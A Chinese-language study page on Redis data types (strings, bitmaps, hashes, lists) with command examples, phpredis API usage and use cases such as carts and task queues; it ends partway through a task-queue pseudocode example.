K-V格式中V是一个字符串或数字 string是redis最基本最常用的数据类型,一个key对应一个value,一个键最大能存储512MB string类型是二进制安全的,redis的string可以包含任何数据,如数字、字符串、jpg图片或序列化的对象 当value是数字时可以进行递增递减操作,比如INCR K1,DECR Key1 实现方式 String在redis内部存储默认就是一个字符串,被redisObject所引用,当遇到incr、decr等操作时会转成数值型进行计算,此时redisObject的encoding字段为int 实际应用场景 如单点登录和秒杀商品数目或头条点赞的操作 分布式运用场景之Web集群的session共享: 原理是把原有的服务器存储用户信息转为redis把用户的信息 序列化后存入redis。 分布式运用场景之分布式系统全局序列号 INCRBY orderId 1000 // redis 批量生成序列号提升性能 如项目使用分库分表就可以使用这个,目的是让主键ID在都是唯一的,这个在实际场景非常重要 使用INCRBY orderId 1000 // 这个命令是一次生成1000个订单id供下次生成订单使用 set name "test" // 设置name键,值为test setnx job "programmer" // 在指定的key不存在时为key设置指定的值 mset key1 "hi" key2 "hai" // 同时设置一或多个key-value对 msetnx key1 "hi" key2 "hai" // 所有给定key都不存在时同时设置一个或多个key-value对,是原子性操作 get name // "runoob",返回所有给定key的值,如果给定的key里面某个key不存在,这个key返回特殊值nil mget key1 key2 // strlen mykey // 获取key储存的字符串值的长度,key储存的不是字符串值时返回一个错误,不存在返回0 setrange key1 6 "Redis" // 用指定的字符串从偏移量offset开始覆盖key储存的字符串值,被修改后的字符串长度 getrange mykey 0 3 // 截取指定key中字符串的子字符串,范围由start和end两个偏移量决定(包括 start和end) getrange mykey 0 -1 // 全部截取 append myphone " - 1110" // 为指定的key追加值,key已存在且是一个字符串时APPEND命令将value追加到key原值的末尾,key不存在则同SET key value 自增: key不存在则key的值先初始化为0,再执行INCR。值包含错误的类型或字符串类型的值不能表示为数字则返回一个错误。本操作的值限制在64位(bit)有符号数字表示之内 incr page_view // 将key中储存的数字值增一 incrby rank 20 // 将key中储存的数字加上指定的增量值 incrbyfloat mykey 0.1 // 为key中所储存的值加上指定的浮点数增量值 自减: key不存在则key的值先初始化为0,再执行DECR。值包含错误的类型或字符串类型的值不能表示为数字则返回一个错误。本操作的值限制在64位(bit)有符号数字表示之内 decr failure_times // 将key中储存的数字值减一 decrby pages 10 // 将key所储存的值减去指定的减量值 setex mykey 60redis // 为指定的key设置值及其过期时间(秒),如果key已经存在将会替换旧的值 psetex mykey 1000 "Hello"// 同setex,单位毫秒 getset name lucy // 设置指定key的值并返回旧值;key没有旧值即key不存在返回nil,key存在但不是字符串类型时返回一个错误 【 位图bitmap 】 位图不是真正的数据类型,它是定义在字符串类型中,一个字符串类型的值最多能存储512M字节的内容,位上限:2^(9+10+10+3)=2^32b setbit key offset value 设置某一位上的值,offset偏移量,从0开始。因为是二进制数,偏移量从右边开始 getbit key offset 获取某一位上的值 bitpos key [start] [end] 返回指定值0或1在指定区间上第一次出现的位置 setbit bit 10086 1 // 对key所储存的字符串值,设置或清除指定偏移量上的位(bit),返回指定偏移量原来储存的位 getbit bit 10086 // 对key所储存的字符串值获取指定偏移量上的位(bit),偏移量OFFSET比字符串值的长度大或key不存在返回0 getbit bit 100 // bit默认被初始化为0 位操作 opration可以是and、or、not、xor这四种操作中的任意一种 bitop and destkey key [key...] 对一个或多个key求逻辑并,将结果保存到destkey bitop or destkey key [key...] 对一个或多个key求逻辑或,将结果保存到destkey bitop not destkey key 对给定key求逻辑非,将结果保存到destkey bitop xor destkey key [key...] 对一个或多个key求逻辑异或,将结果保存到destkey 除了not操作,其它操作都可以接受一个或多个key作为输入 当bitop处理不同长度的字符串时较短的那个字符串所缺少的那部分会被看做0 空的key也被看做是包含0的字符串序列 统计指定区间上值为1的个数 bitcount key [start] [end] 从左向右从0开始,从右向左从-1开始。官方的start和end是位,据测试是字节 bitcount testkey 0 0 表示从索引为0个字节到索引为0个字节,就是第一个字节的统计 bitcount testkey 0 -1 等同于 bitcount testkey 位图使用场景: 1、网站用户的上线次数 用户id作为key,天作为offset,上线置为1 setbit u500 1 1 setbit u500 30 1 bitcount u500 # 2 2、按天统计网站活跃用户 天作为key,用户id作为offset,上线置为1,求一段时间内活跃用户 setbit 20160602 15 1 setbit 20160601 123 1 setbit 20160606 123 1 求6月1日到6月10日的活跃用户,结果为2 bitop or 20160601-10 bitcount 20160601-10
php_redis Strings
【 get 】
Get the value related to the specified key,FALSE is returned If key didn't exist
$redis->get('key');
if(false === $redis->get('key')) $redis->set('key', 'value');
【 set 】
Set the string value in argument as value of the key, if redis>= 2.6.12,you can pass extended options as explained below
Parameters: Key,Value,Timeout or Options Array (optional)
Return value: Bool TRUE if the command is successful
$redis->set('key','value');
$redis->set('key','value',10); // Will redirect,and actually make an SETEX call
$redis->set('key','value',Array('nx','ex'=>10)); // Will set the key,if it doesn't exist,with a ttl of 10 seconds
$redis->set('key','value',Array('xx','px'=>1000)); // Will set the key,if it does exist,with a ttl of 1000 miliseconds
【 setEx,pSetEx 】
Set the string value in argument as value of the key,with a time to live,PSETEX uses a TTL in milliseconds.
Return Bool TRUE if the command is successful.
$redis->setEx('key',3600,'value'); // sets key → value,with 1h TTL.
$redis->pSetEx('key',100,'value'); // sets key → value,with 0.1 sec TTL.
【 setNx 】
Set the string value in argument as value of the key if the key doesn't already exist in the database.
$redis->setNx('key','value'); // return TRUE
$redis->setNx('key','value'); // return FALSE
【 incr,incrBy 】
Increment the number stored at key by one. If the second argument is filled,it will be used as the integer value of the increment.
$redis->incr('key1'); // key1 didn't exists,set to 0 before the increment,and now has the value 1
$redis->incr('key1'); // 2
$redis->incr('key1'); // 3
$redis->incr('key1'); // 4
$redis->incr('key1',10); // 14, Will redirect,and actually make an INCRBY call
$redis->incrBy('key1',10); // 24
项目中使用redis的incr及hincrby自增时出现自增失败,set之后的数据无法自增,当redis中不存在该key时直接用incr是成功的。因为phpredis初始化的时候,设置了php序列化,即:
$redis->setOption( \Redis::OPT_SERIALIZER, \Redis::SERIALIZER_PHP );
const OPT_SERIALIZER = 1;
const SERIALIZER_PHP = 1;
每次在redis中去set的时候都会对值进行序列化操作,
直接在redis-cli中操作:set key 1;get得到的值为"1";此时是可以incr自增操作的,自增后获取的值为"2";
当通过项目中php实例化操作之后,即在项目中执行$redis->set(key,2);之后,在$redis->incr(key)时失败,然后在redis-cli中获取值时发现值变为"i:2",不再是整形"2"了,因此自增失败。
所以对需要自增的数据,不进行set操作或者在连接redis时不进行php的序列化
【 incrByFloat 】
Increment the key with floating point precision.
$redis->incrByFloat('key1',1.5); // key1 didn't exist,so it will now be 1.5
$redis->incrByFloat('key1',1.5); // 3
$redis->incrByFloat('key1',-1.5); // 1.5
$redis->incrByFloat('key1',2.5); // 4
【 decr,decrBy 】
Decrement the number stored at key by one. If the second argument is filled,it will be used as the integer value of the decrement.
$redis->decr('key1'); // key1 didn't exists,set to 0 before the increment,and now has the value -1
$redis->decr('key1'); // -2
$redis->decr('key1'); // -3
$redis->decr('key1',10); // -13, Will redirect,and actually make an DECRBY call
$redis->decrBy('key1',10); // -23
【 mGet,getMultiple 】
Get the values of all the specified keys. If one or more keys don't exist,the array will contain FALSE at the position of the key.
$redis->set('key1','value1');
$redis->set('key2','value2');
$redis->set('key3','value3');
$redis->mGet(array('key1','key2','key3')); // array('value1','value2','value3');
$redis->mGet(array('key0','key1','key5')); // array(`FALSE`,'value1',`FALSE`);
【 getSet 】
Sets a value and returns the previous entry at that key
$redis->set('x','42');
$exValue = $redis->getSet('x','lol'); // return '42',replaces x by 'lol'
$newValue = $redis->get('x')' // return 'lol'
【 append 】
Append specified string to the string stored in specified key.
Return INTEGER: Size of the value after the append
$redis->set('key','value1');
$redis->append('key','value2'); // 12
$redis->get('key'); // 'value1value2'
【 getRange 】
Return a substring of a larger string
$redis->set('key','string value');
$redis->getRange('key',0,5); // 'string'
$redis->getRange('key',-5,-1); // 'value'
【 setRange 】
Changes a substring of a larger string.
Return the length of the string after it was modified.
$redis->set('key','Hello world');
$redis->setRange('key',6,"redis"); // returns 11
$redis->get('key'); // "Hello redis"
【 strLen 】
Get the length of a string value.
$redis->set('key','value');
$redis->strlen('key'); // 5
【 mSet,mSetNx 】
Sets multiple key-value pairs in one atomic command. MSETNX only returns TRUE if all the keys were set (see SETNX).
Return Bool TRUE in case of success,FALSE in case of failure.
$redis->mSet(array('key0' => 'value0','key1' => 'value1'));
var_dump($redis->get('key0')); // "value0"
var_dump($redis->get('key1')); // "value1"
【 getBit 】
Return a single bit out of a larger string
Parameters: key,offset
Return value: LONG: the bit value (0 or 1)
$redis->set('key',"\x7f"); // this is 0111 1111
$redis->getBit('key',0); // 0
$redis->getBit('key',1); // 1
【 setBit 】
Changes a single bit of a string
Parameters: key、offset、value: bool or int (1 or 0)
Return value: LONG: 0 or 1,the value of the bit before it was set.
$redis->set('key',"*"); // ord("*") = 42 = 0x2f = "0010 1010"
$redis->setBit('key',5,1); // returns 0
$redis->setBit('key',7,1); // returns 0
$redis->get('key'); // chr(0x2f) = "/" = b("0010 1111")
【 bitOp 】
Bitwise(位运算) operation on multiple keys
Parameters
operation: either "AND","OR","NOT","XOR"
ret_key: return key
key1
key2...
Return value
LONG: The size of the string stored in the destination key.
【 bitCount 】
Count bits in a string
Parameters: key
Return value: LONG: The number of bits set to 1 in the value behind the input key.
【 Hash 哈希 】
K-V格式中V是一个Hash类型,由field和关联的value组成的map键值对集合,field和value是字符串类型 Redis hash是一个键值对(key=>value)集合,value是一个string类型的field和value的映射表,hash适用于存储对象,每个hash可以存储232 -1键值对(40多亿) Hset key field value 比string多出来了一个field hash散列的用途 节约存储空间,因为每创建一个键,需要存储这个键的一些附加管理信息,比如这个键的类型、最后一次被访问时间、过期时间等。所以数据库里面的键越多,redis数据库服务器在储存附加管理信息方面耗费的内存就越多,花在管理数据库键上的CPU也就会越多。 局限性: 超时时间只能限制key上 不适合hash的情况: 1、使用二进制位操作命令: 因为redis目前支持对字符串键进行SETBIT 、GETBIT、BITOP等操作,如果想使用这些操作,那么只能用字符串键,虽然散列也能保存二进制数据 2、使用过期时间功能: Redis目前只支持对键设置过期时间,而不能对散列的field进行过期操作 存储一个用户信息对象数据,包含以下信息: 用户ID为查找的key,存储的value用户对象包含姓名,年龄,生日等信息 1、将用户ID作为查找key,把其他信息封装成一个对象以序列化的方式存储,这种方式的缺点是增加了序列化/反序列化的开销,并且在需要修改其中一项信息时需要把整个对象取回,并且修改操作需要对并发进行保护,引入CAS等复杂问题 2、这个用户信息对象有多少成员就存成多少个key-value对,以用户ID+对应属性名作为唯一标识来取得对应属性的值,虽然省去了序列化开销和并发问题,但用户ID为重复存储,如果存在大量这样的数据,内存浪费还是非常可观的 3、Redis的Hash实际是内部存储的Value为一个HashMap,并提供了直接存取这个Map成员的接口 Key仍然是用户ID,value是一个Map,这个Map的key是成员的属性名,value是属性值,这样对数据的修改和存取都可以直接通过其内部Map的Key即field,也就是通过key(用户ID)+field(属性标签)就可以操作对应属性数据了,既不需要重复存储数据,也不会带来序列化和并发修改控制的问题 Redis提供了接口(hgetall)可以直接取到全部的属性数据,但如果内部Map的成员很多,那么涉及到遍历整个内部Map的操作,由于Redis单线程模型的缘故,这个遍历操作可能会比较耗时,其它客户端的请求完全不响应 hash类型的应用场景 类似于表记录的存储 页面视图所需数据的存储 电商网站中商品的详细信息可以存储在Redis中,不需要每次都访问关系型数据库 微博好友关注列表 用户ID为key,field为好友ID,value为关注时间 hset user:1000 user:606 20151208 用户维度统计 统计数包含: 关注数、粉丝数、喜欢商品数、发帖数 用户ID为key,不同维度为field,value为统计数 HSET user:100000 follow 5 # 关注了5人 HINCRBY user:100000 follow 1 电商购物车 以用户id为key,商品id为field,商品数量为value 添加商品 hset cart:1001 10088 1 增加商品数量 hincry cart:1001 10088 1 商品总数 hlen cart:1001 删除商品 hdel cart:1001 10088 获取购物车所有商品 hgetall cart:1001 hmset user:1 username admin password admin points 200 // user:1为键值 hgetall user:1 1) "username" 2) "admin" 3) "password" 4) "admin" 5) "points" 6) "200" // 设置了redis的一些描述信息(name,description,likes,visitors)到哈希表的runoobkey中 hmset testkey name "redis tutorial" description "basic commands for caching" likes 20 visitors 23000 hgetall testkey 1) "name" 2) "redis tutorial" 3) "description" 4) "basic commands for caching" 5) "likes" 6) "20" 7) "visitors" 8) "23000" hset myhash field1 "foo" 为哈希表中的字段赋值,如果哈希表不存在则一个新的哈希表被创建并进行hset操作;如果字段已经存在于哈希表中则旧值将被覆盖 hsetnx myhash field1 "foo" hsetnx nosql key-value-store redis 为哈希表中不存在的字段赋值,如果字段已经存在于哈希表中则操作无效。如果哈希表不存在则一个新的哈希表被创建并进行hset操作。 hmset myhash field1 "hello" field2 "world" 同时将多个field-value(字段-值)对设置到哈希表中,覆盖哈希表中已存在的字段,如果哈希表不存在则会创建一个空哈希表并执行hmset操作 hget myhash field1 返回哈希表中指定字段的值,给定的字段或key不存在时返回nil hmget myhash field1 field2 nofield 返回哈希表中一个或多个给定字段的值,如果指定的字段不存在于哈希表则返回一个nil值 一个包含多个给定字段关联值的表,表值的排列顺序和指定字段的请求顺序一样 hexists myhash field1 查看哈希表的指定字段是否存在,如果哈希表含有给定字段则返回1,key或field不存在返回0 hdel myhash field1 删除哈希表key中的一个或多个指定字段,不存在的字段将被忽略;返回被成功删除字段的数量 删除所有字段之后哈希表key也会自动删除 all_keys = list(conn.hgetall(hkey).keys()) if all_keys: conn.hdel(hkey, *all_keys) hgetall myhash 返回哈希表中所有的字段和值;若key不存在则返回空列表 在返回值里紧跟每个字段名(field name)之后是字段的值(value),所以返回值的长度是哈希表大小的两倍 hkeys myhash 获取哈希表中的所有域(field)列表。当key不存在时返回一个空列表 hvals myhash 返回哈希表所有域(field)的值,key不存在时返回一个空表 hlen myhash 获取哈希表中字段的数量,key不存在返回0 hincrby myhash field 1 hincrby myhash field -1 为哈希表中的字段值加上指定增量值,增量也可以为负数,相当于对指定字段进行减法操作,返回新的字段值 如果哈希表的key不存在,一个新的哈希表被创建并执行HINCRBY命令。 如果指定的字段不存在,那么在执行命令前字段的值被初始化为0 对一个储存字符串值的字段执行HINCRBY命令将造成一个错误。 本操作的值被限制在64位(bit)有符号数字表示之内 hincrbyfloat mykey field 0.1 "10.60000000000000001" hincrbyfloat mykey field -5 "5.59999999999999964" 为哈希表中的字段值加上指定浮点数增量值。如果指定的字段不存在,那么在执行命令前字段的值被初始化为0 hscan key cursor [match pattern] [count count] 迭代哈希表中的键值对 当需要遍历Redis所有key或指定模式的key时,首先想到KEYS命令,但如果redis数据非常大key也非常多,查询时很可能会很慢,造成整个redis阻塞,scan和hscan命令可以解决 SCAN cursor [MATCH pattern] [COUNT count] HSCAN key cursor [MATCH pattern] [COUNT count] SCAN命令是一个基于游标的迭代器,这意味着命令每次被调用都需要使用上一次这个调用返回的游标作为该次调用的游标参数,以此来延续之前的迭代过程, 当SCAN命令的游标参数被设置为0时,服务器将开始一次新的迭代,而当服务器向用户返回值为0的游标表示迭代已结束,HSCAN同SCAN命令相同。 127.0.0.1:6379> hgetall user:1 1) "username" 2) "runoob" 3) "password" 4) "runoob" 5) "points" 6) "201" 127.0.0.1:6379> hscan user:1 0 1) "0" 2) 1) "username" 2) "runoob" 3) "password" 4) "runoob" 5) "points" 6) "201" 127.0.0.1:6379> hscan user:1 0 match u* # 模糊查找u开头的键 1) "0" 2) 1) "username" 2) "runoob"
php_redis Hashes
【 hSet 】
Adds a value to the hash stored at key
Parameters: key,hashKey,value
Return: 1 if value didn't exist and was added successfully,0 if the value was already present and was replaced,FALSE if error
$redis->hSet('h','key1','hello'); // 1,'key1' => 'hello' in the hash at "h"
$redis->hGet('h','key1'); // returns "hello"
$redis->hSet('h','key1','plop'); // 0,value was replaced
$redis->hGet('h','key1'); // returns "plop"
【 hSetNx 】
Adds a value to the hash stored at key only if this field isn't already in the hash
Return: TRUE if the field was set,FALSE if it was already present.
$redis->hSetNx('h','key1','hello'); // TRUE,'key1' => 'hello'
$redis->hSetNx('h','key1','world'); // FALSE,'key1' => 'hello'
【 hGet 】
Gets a value from the hash stored at key. If the hash table or the key doesn't exist,FALSE is returned.
Parameters: key,hashKey
Return: STRING The value,if the command executed successfully; BOOL FALSE in case of failure
【 hLen 】
Returns the length of a hash,in number of items
Parameters: key
Return: LONG the number of items in a hash,FALSE if the key doesn't exist or isn't a hash.
$redis->hSet('h','key1','hello');
$redis->hSet('h','key2','plop');
$redis->hLen('h'); // returns 2
【 hDel 】
Removes a value from the hash stored at key. If the hash table or the key doesn't exist,FALSE is returned.
Parameters: key,hashKey1,hashKey2,...
Return : LONG the number of deleted keys,0 if the key doesn't exist,FALSE if the key isn't a hash.
【 hKeys 】
Returns the keys in a hash,as an array of strings.
Parameters: Key: key
Return: An array of elements,the keys of the hash. This works like PHP's array_keys().
The order is random and corresponds to redis' own internal representation of the set structure
$redis->del('h');
$redis->hSet('h','a','x');
$redis->hSet('h','b','y');
$redis->hSet('h','c','z');
$redis->hSet('h','d','t');
var_dump($redis->hKeys('h')); // Output: ["a","b","c","d"]
【 hVals 】
Returns the values in a hash,as an array of strings.
Parameters: Key: key
Return: An array of elements,the values of the hash. This works like PHP's array_values()
The order is random and corresponds to redis' own internal representation of the set structure
$redis->del('h');
$redis->hSet('h','a','x');
$redis->hSet('h','b','y');
$redis->hSet('h','c','z');
$redis->hSet('h','d','t');
var_dump($redis->hVals('h')); // ["x","y","z","t"]
【 hGetAll 】
Returns the whole hash,as an array of strings indexed by strings.
Parameters: Key: key
Return: An array of elements,the contents of the hash.
The order is random and corresponds to redis' own internal representation of the set structure
$redis->del('h');
$redis->hSet('h','a','x');
$redis->hSet('h','b','y');
$redis->hSet('h','c','z');
$redis->hSet('h','d','t');
var_dump($redis->hGetAll('h')); // ["a"=>"x","b"=>"y","c"=>"z","d"=> "t"];
【 hExists 】
Verify if the specified member exists in a key.
Parameters: key,memberKey
Return: TRUE If the member exists in the hash table,FALSE otherwise
$redis->hSet('h','a','x');
$redis->hExists('h','a'); // TRUE
$redis->hExists('h','NonExistingKey'); // FALSE
【 hIncrBy 】
Increments the value of a member from a hash by a given amount.
Parameters: key, member, value: (integer) value that will be added to the member's value
Return: LONG the new value
$redis->hIncrBy('h','x',2); // returns 2: h[x] = 2 now
$redis->hIncrBy('h','x',1); // h[x] ← 2 + 1. Returns 3
【 hIncrByFloat 】
Increments the value of a hash member by the provided float value
Parameters: key, member, value: (float) value that will be added to the member's value
Return: FLOAT the new value
$redis->hIncrByFloat('h','x',1.5); // returns 1.5: h[x] = 1.5 now
$redis->hIncrByFloat('h','x',1.5); // returns 3.0: h[x] = 3.0 now
$redis->hIncrByFloat('h','x',-3.0); // returns 0.0: h[x] = 0.0 now
【 hMSet 】
Fills in a whole hash. Non-string values are converted to string,using the standard (string) cast. NULL values are stored as empty strings.
Parameters: key,members(key → value array)
Return: BOOL
$redis->del('user:1');
$redis->hMSet('user:1',array('name' => 'Joe','salary' => 2000));
$redis->hIncrBy('user:1','salary',100);
【 hMGet 】
Retrieve the values associated to the specified fields in the hash.
Parameters: key, memberKeys Array
Return: Array An array of elements,the values of the specified fields in the hash,with the hash keys as array keys.
$redis->del('h');
$redis->hSet('h','field1','value1');
$redis->hSet('h','field2','value2');
$redis->hMGet('h',array('field1','field2')); // returns ['field1'=>'value1','field2'=>'value2']
【 hScan 】
Scan a HASH value for members,with an optional pattern and count
Parameters
key: String
iterator: Long (reference)
pattern: Optional pattern to match against
count: How many keys to return in a go (only a suggestion to Redis)
Return value
Array An array of members that match our pattern
$it = NULL;
// Don't ever return an empty array until we're done iterating
$redis->setOption(Redis::OPT_SCAN,Redis::SCAN_RETRY);
while($arr_keys = $redis->hScan('hash',$it)) {
foreach($arr_keys as $str_field => $str_value) {
echo "$str_field => $str_value\n"; /* Print the hash member and value */
}
}
【 hStrLen 】
Get the string length of the value associated with field in the hash stored at key.
Parameters: key: String, field: String
Return: LONG the string length of the value associated with field,or zero when field is not present in the hash or key does not exist at all.
【 List 列表 链表 】
K-V格式中V是一个list类型,类似与java里面的LinkedList有序列表
Redis列表是简单的字符串列表,按照插入顺序排序,可以添加一个元素到列表的头部(左边)或尾部(右边)
列表最多可存储232 - 1元素(4294967295,每个列表可存储40多亿)
List就是链表,redis使用双端链表实现的List,是有序的,value可以重复,可以通过下标取出对应的value值,左右两边都能进行插入和删除数据。
常用的数据结构
stack(栈) = lpush + lpop -> FILO
queue(队列) = lpush + rpop
blocking MQ(阻塞队列) = lpush + brpop
list类型的应用场景
比较适用于列表式存储且顺序相对比较固定:
省份、城市列表
品牌、厂商、车系、车型等列表
商品的评论表,最新的评论显示在最前面,而且可以分页显示
twitter的关注列表,粉丝列表等都可以用Redis的list结构来实现
可以轻松地实现最新消息排行等功能,Lists的另一个应用就是消息队列
可以利用Lists的PUSH操作,将任务存在Lists中,然后工作线程再用POP操作将任务取出进行执行
运用的场景之微博和公众号的消息流
微博关注了1000个大V,每个大V一天放两条数据,有1亿用户,那么数据量有多大,可能有几百M的数据,如果使用数据库查询效率那就不是很高了
比如关注了小明和小红。
小明发了一条消息: 使用LPUSH msg:小明Id 消息Id
小红发了一条消息: 使用LPUSH msg:小红Id 消息Id
查看最新的微博消息: 使用LRANGE msg:小红Id 0 4 这个就是从左侧取下标是0到4的消息 意味着是取小红发的最新的5条消息的消息ID 进而从缓存里面取出对应的消息内容
redis> lpush runoob redis
(integer) 1
redis> lpush runoob mongodb
(integer) 2
redis> lpush runoob rabitmq
(integer) 3
redis> lrange runoob 0 10
1) "rabitmq"
2) "mongodb"
3) "redis"
lpush list1 "foo"
将一个或多个值插入到列表头部,返回列表长度
如果key不存在则一个空列表会被创建并执行LPUSH操作;当key存在但不是列表类型时返回一个错误
rpush mylist "hello"
将一个或多个值插入到列表的尾部(最右边),返回列表长度
如果列表不存在则一个空列表会被创建并执行RPUSH操作。当列表存在但不是列表类型时返回一个错误
lpushx list1 "bar"
将一个值插入到已存在的列表头部,返回列表长度,列表不存在时操作无效
lpop list1
移除并返回列表的第一个元素,当列表key不存在时返回nil
rpop mylist
移除并返回列表的最后一个元素,当列表不存在时返回nil
rpoplpush mylist myotherlist
移除列表的最后一个元素,并将该元素添加到另一个列表并返回
blpop list1 list2 .. listn timeout
blpop list1 100
brpop list1 list2 .. listn timeout
brpop list1 100
列表的阻塞式(blocking)弹出
移出并获取列表的第一个元素,当给定列表内没有任何元素可供弹出的时候,连接将被BRPOP命令阻塞,直到等待超时(秒)或发现可弹出元素为止,超时时返回nil
当给定多个key参数时,按参数key的先后顺序依次检查各个列表,弹出第一个非空列表的尾部元素。
如果列表为空返回一个nil,否则返回一个含有两个元素的列表,第一个元素是被弹出元素所属的key,第二个元素是被弹出元素的值
redis队列长度是无限的,所以入队必然是成功的,也就没有入队阻塞,而出队是有阻塞的
在实际应用中,生产者处理速度是远大于消费者处理速度的,而且生产者批处理是定时不停歇的执行的,队列长度不做限制必定会导致内存不够用的问题;虽然可以降低生产者的执行频率,但不做队列长度限制,不增加相关入队策略控制,也是不合理的。
初步考虑是在每次入队之前判断队列长度,如果已达上限,就丢弃调当前任务
但无法精确的控制队列数量,不过允许一定的误差
从左到右扫描返回对第一个非空list进行lpop操作并返回,比如blpop list1 list2 list3 0,如果list不存在,list2,list3都是非空则对list2做lpop并返回从list2中删除的元素。如果所有的list都是空或不存在则会阻塞timeout秒,timeout为0表示一直阻塞。当阻塞时,如果有client对key1...keyN中的任意key进行push操作,则第一在这个key上被阻塞的client会立即返回(返回键和值)。如果超时发生则返回nil,有点像unix的select或poll
当给定列表内没有任何元素可供弹出的时候,连接将被BLPOP命令阻塞。直到有另一个客户端对给定的这些key的任意一个执行LPUSH或RPUSH命令为止。当给定多个key参数时,按参数key的先后顺序依次检查各个列表,弹出第一个非空列表的头元素
使用非阻塞队列的时候有一个很大问题就是: 它不会对当前线程产生阻塞,那么在面对类似消费者-生产者的模型时,就必须额外地实现同步策略以及线程间唤醒策略,这个实现起来就非常麻烦。但是有了阻塞队列就不一样了,它会对当前线程产生阻塞,比如一个线程从一个空的阻塞队列中取元素,此时线程会被阻塞直到阻塞队列中有了元素。当队列中有元素后,被阻塞的线程会自动被唤醒(不需要我们编写代码去唤醒)。这样提供了极大的方便性
有时候,为了等待一个新元素到达数据中,需要使用轮询的方式对数据进行探查。
另一种更好的方式是,使用系统提供的阻塞原语,在新元素到达时立即进行处理,而新元素还没到达时,就一直阻塞住,避免轮询占用资源。BLPOP和BRPOP能很好解决这个问题
BLPOP/BRPOP的先到先服务原则
如果有多个客户端同时因为某个列表而被阻塞,那么当有新值被推入到这个列表时,服务器会按先到先服务(first in first service)原则,优先向最早被阻塞的客户端返回新值。假设列表lst为空,那么当客户端X执行命令BLPOP lst timeout时,客户端X将被阻塞。在此之后客户端Y也执行命令BLPOP lst timeout,也因此被阻塞。如果这时客户端Z执行命令RPUSH lst "hello",将值"hello"推入列表lst,那么这个"hello"将被返回给客户端X,而不是客户端Y,因为客户端X的被阻塞时间要早于客户端Y的被阻塞时间。
关于阻塞的正确理解:
1、阻塞,指的是brpop语句会阻塞住程序,不让其继续往下执行,像这里如果队列集为空的时候,就会占着不执行下一条语句了;
2、可以不用if判断是否返回值为真了,因为brpop命令如果拿不到数据就会一直占着等,直到取出有效数据返回;
3、有他阻塞占着也不用再实时用力地猛轮询了,比如占半个小时,那完全可以半个小时到若干个小时触发一次任务执行(看任务量与任务处理时长),因为一旦有新任务执行的话占坑阻塞时间就后延了
while(true) {
$result = $redis->brpop('lists:msg', 1800); //阻塞1800秒如果取不到数据的话
echo "我又被执行了"; //做个语句执行标记
$id = $result[1]; //返回值是一个数组
echo "I am here $id \n"; //处理数据
}
BRPOPLPUSH LIST1 ANOTHER_LIST TIMEOUT
brpoplpush msg reciver 500
从列表中弹出一个值,将弹出的元素插入到另外一个列表中并返回它;如果列表没有元素会阻塞列表直到等待超时或发现可弹出元素为止
指定时间内没有任何元素被弹出则返回一个nil和等待时长,否则返回一个含有两个元素的列表,第一个元素是被弹出元素的值,第二个元素是等待时长
从LIST1对应list的尾部移除元素并添加到ANOTHER_LIST对应list的头部,最后返回被移除的元素值,整个操作是原子的.如果srckey是空或不存在返回nil,这是唯一一个操作两个列表的操作,用于两个队列交换消息
lset mylist 0 "bar"
通过索引来设置元素的值。操作成功返回ok,当索引参数超出范围或对一个空列表进行LSET时返回一个错误
linsert mylist before "World" "There"
linsert mylist after "World" "There"
在列表的元素前或后插入元素。当指定元素不存在于列表中时不执行任何操作,当列表不存在时被视为空列表不执行任何操作。如果key不是列表类型返回一个错误,命令执行成功则返回插入操作完成之后列表的长度。如果没有找到指定元素返回-1。如果key不存在或为空列表返回0
llen list1
返回列表的长度,如果列表key不存在则key被解释为一个空列表即返回0;如果key不是列表类型返回一个错误
LRANGE KEY_NAME START END
lrange mylist 0 0 // 返回第0个
lrange mylist 0 -1 // 全部返回
lrange mylist -3 2
lrange mylist -100 100 // 超出覆盖范围全部返回
lrange mylist 5 10 // 不在范围内返回空
返回列表中指定区间内的元素,区间以偏移量START和END指定。
其中0表示列表的第一个元素,1表示列表的第二个元素,以此类推;-1表示列表的最后一个元素,-2表示列表的倒数第二个元素,以此类推
返回一个列表,包含指定区间内的元素
LINDEX KEY_NAME INDEX_POSITION
lindex mylist 0
通过索引获取列表中的元素,返回列表中下标为指定索引值的元素,如果指定索引值不在列表的区间范围内返回nil
lrem key_name count value
lrem mylist -2 "hello"
根据参数count的值移除列表中与参数value相等的元素,返回被移除元素的数量,列表不存在时返回0
count > 0 : 从表头开始向表尾搜索,移除与value相等的元素,数量为count
count < 0 : 从表尾开始向表头搜索,移除与value相等的元素,数量为count的绝对值。
count = 0 : 移除表中所有与value相等的值
LTRIM KEY_NAME START STOP
ltrim mylist 1 -1
对一个列表进行修剪(trim),让列表只保留指定区间内的元素,不在指定区间之内的元素都将被删除。
下标0表示列表的第一个元素,以1表示列表的第二个元素,以此类推;-1表示列表的最后一个元素,-2表示列表的倒数第二个元素,以此类推。
LTRIM u1234:forumid:comments 0 499 # 微博的评论最后500条
ltrim mylist 1 0 # 清空队列
【 任务队列 】
在网站开发中,当页面需要进行如发送邮件、复杂数据运算等耗时较长的操作时会阻塞页面的渲染。为了避免用户等待太久,应该使用独立的线程来完成这类操作。不过一些编程语言或框架不易实现多线程,这时很容易就会想到通过其他进程来实现。设想有一个进程能够完成发邮件的功能,那么在页面中只需要想办法通知这个进程向指定的地址发送邮件就可以了。
通知的过程可以借助任务队列来实现。任务队列就是传递任务的队列。与任务队列进行交互的实体有两类,一类是生产者(producer),一类是消费者(consumer)。生产者会将需要处理的任务放入任务队列中,而消费者则不断地从任务队列中读入任务信息并执行。
对于发邮件这个操作来说页面程序就是生产者,而发邮件的进程就是消费者。当需要发送邮件时,页面程序会将收件地址、邮件主题和邮件正文组装成一个任务后存入任务队列中。同时发邮件的进程会不断检查任务队列,一旦发现有新的任务便会将其从队列中取出并执行。由此实现了进程间的通信。
使用任务队列有如下好处:
(1)松耦合。生产者和消费者无需知道彼此的实现细节,只需要约定好任务的描述格式。这使得生产者和消费者可以由不同的团队使用不同的编程语言编写。
(2)易于扩展消费者可以有多个,而且可以分布在不同的服务器中,借此可以轻易地降低单台服务器的负载。
$redis->brpop的正确用法就参考下面的使用Redis实现任务队列
Redis的列表类型,使用LPUSH和RPOP命令实现队列。如果要实现任务队列,只需要让生产者将任务使用LPUSH命令加入到某个键中,另一边让消费者不断地使用RPOP命令从该键中取出任务即可。
在上面例子中,完成发邮件的任务需要知道收件地址、邮件主题和邮件正文。所以生产者需要将这三个信息组成对象并序列化成字符串,然后将其加入到任务队列中。而消费者则循环从队列中拉取任务,就像如下伪代码:
#无限循环读取任务队列中的内容
loop
$task=RPOR queue
if $task
#如果任务队列中有任务则执行它
execute($task)
else
#如果没有则等待1秒以免过于频繁地请求数据
